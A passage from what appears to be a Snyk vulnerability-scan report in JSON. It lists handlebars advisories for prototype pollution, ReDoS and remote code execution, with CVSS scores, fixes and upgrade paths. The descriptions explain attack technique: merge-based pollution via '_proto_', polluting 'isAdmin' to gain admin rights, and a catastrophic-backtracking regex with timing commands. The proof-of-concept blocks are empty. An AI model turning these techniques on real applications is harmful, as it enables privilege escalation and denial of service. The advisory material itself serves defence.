**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n## Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n## How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n### For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\n\nUpgrade `handlebars` to version 4.3.0, 3.0.8 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/156061eb7707575293613d7fdf90e2bdaac029ee)\n\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/213c0bbe3c4bd83a534d67384e5afa0000347ff6)\n\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1558)\n\n- [Reference](https://www.npmjs.com/advisories/1164)\n\n- [Release Notes](https://github.com/wycats/handlebars.js/blob/master/release-notes.md#v430---september-24th-2019)\n", + "disclosureTime": "2019-09-24T15:14:43Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.3.0", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-469063", + "identifiers": { + "CWE": [ + "CWE-471" + ], + "NSP": [ + "1164" + ], + "CVE": [ + "CVE-2019-19919" + ], + "GHSA": [ + "GHSA-w457-6q6x-cgp9" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-27T09:42:38.558363Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-09-25T14:33:59Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/handlebars-lang/handlebars.js/commit/156061eb7707575293613d7fdf90e2bdaac029ee" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/213c0bbe3c4bd83a534d67384e5afa0000347ff6" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1558" + }, + { + "title": "Reference", + "url": "https://www.npmjs.com/advisories/1164" + }, + { + "title": "Release Notes", + "url": "https://github.com/wycats/handlebars.js/blob/master/release-notes.md%23v430---september-24th-2019" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.3.0", + "<3.0.8" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.0.5", + "handlebars@4.3.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "alternativeIds": [], + "creationTime": "2019-11-05T12:16:29.016014Z", + "credit": [ + "Unknown" + ], + "cvssScore": 7.5, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). The package's parser may be forced into an endless loop while processing specially-crafted templates, which may allow attackers to exhaust system resources leading to Denial of Service.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `handlebars` to version 4.4.5 or higher.\n## References\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b)\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1579)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1300)\n", + "disclosureTime": "2019-10-30T15:57:14Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.4.5" + ], + "id": "SNYK-JS-HANDLEBARS-480388", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1300" + ], + "CVE": [ + "CVE-2019-20922" + ], + "GHSA": [ + "GHSA-f52g-6jhx-586p" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-02-11T09:51:32.219466Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-05T12:19:43Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1579" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/1300" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Denial of Service (DoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.4.5" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-11-15T15:45:34.906048Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 8.1, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.\n## Remediation\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n## References\n- [NPM Security Advisory #1](https://www.npmjs.com/advisories/1316)\n- [NPM Security Advisory #2](https://www.npmjs.com/advisories/1324)\n", + "disclosureTime": "2019-11-14T15:29:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-534478", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "NSP": [ + "1316", + "1324" + ], + "CVE": [ + "CVE-2019-20920" + ], + "GHSA": [ + "GHSA-q2c6-c6pm-g3gh", + "GHSA-2cf5-4w76-r9qv" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-02-11T12:35:29.725892Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-15T15:48:43Z", + "references": [ + { + "title": "NPM Security Advisory #1", + "url": "https://www.npmjs.com/advisories/1316" + }, + { + "title": "NPM Security Advisory #2", + "url": "https://www.npmjs.com/advisories/1324" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [], + "creationTime": "2019-11-20T09:54:27.277624Z", + "credit": [ + "Vladyslav Babkin" + ], + "cvssScore": 9.8, + "description": "## Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nIt is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n## Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n### Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n### Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n## Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n## Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n## How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n### For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\n\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7)\n\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1325)\n", + "disclosureTime": "2019-11-18T19:42:01Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-534988", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1325" + ], + "CVE": [], + "GHSA": [ + "GHSA-g9r4-xpmj-mj65" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:34:40.084216Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-20T09:55:17Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/1325" + } + ], + "severity": "critical", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "critical", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:26:34.538485Z", + "credit": [ + "macasun" + ], + "cvssScore": 6.5, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. Prototype access to the template engine allows for potential code execution.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `handlebars` to version 4.6.0 or higher.\n## References\n- [GitHub PR](https://github.com/handlebars-lang/handlebars.js/pull/1633)\n- [HackerOne Report](https://hackerone.com/reports/726364)\n", + "disclosureTime": "2020-04-27T22:13:11Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.6.0" + ], + "id": "SNYK-JS-HANDLEBARS-567742", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:35:00.642664Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2020-04-28T14:28:34Z", + "references": [ + { + "title": "GitHub PR", + "url": "https://github.com/handlebars-lang/handlebars.js/pull/1633" + }, + { + "title": "HackerOne Report", + "url": "https://hackerone.com/reports/726364" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.6.0" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.1", + "handlebars@4.7.6" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-01-08T17:25:21.189033Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 7, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.\r\n\r\n### POC\r\n```\r\n \r\n\r\n```\n## Remediation\nUpgrade `handlebars` to version 4.7.7 or higher.\n## References\n- [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8)\n", + "disclosureTime": "2021-01-08T17:08:45Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.7.7" + ], + "id": "SNYK-JS-HANDLEBARS-1056767", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "GHSA": [ + "GHSA-f2jv-r9rf-7988" + ], + "CVE": [ + "CVE-2021-23369" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-11-11T10:55:55.623956Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": true, + "publicationTime": "2021-02-15T11:50:51Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Code Execution (RCE)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.7.7" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.7.7" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-05-04T08:31:48.515713Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 5.6, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.\r\n\r\n### POC\r\n```\r\n \r\n\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `handlebars` to version 4.7.7 or higher.\n## References\n- [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427)\n", + "disclosureTime": "2021-01-08T08:30:14Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.7.7" + ], + "id": "SNYK-JS-HANDLEBARS-1279029", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-23383" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-05-04T08:56:24.296344Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": true, + "publicationTime": "2021-05-04T08:56:24.293243Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.7.7" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.7.7" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-02-14T16:46:18.024227Z", + "credit": [ + "Mahmoud Gamal", + "Matias Lang" + ], + "cvssScore": 7.3, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
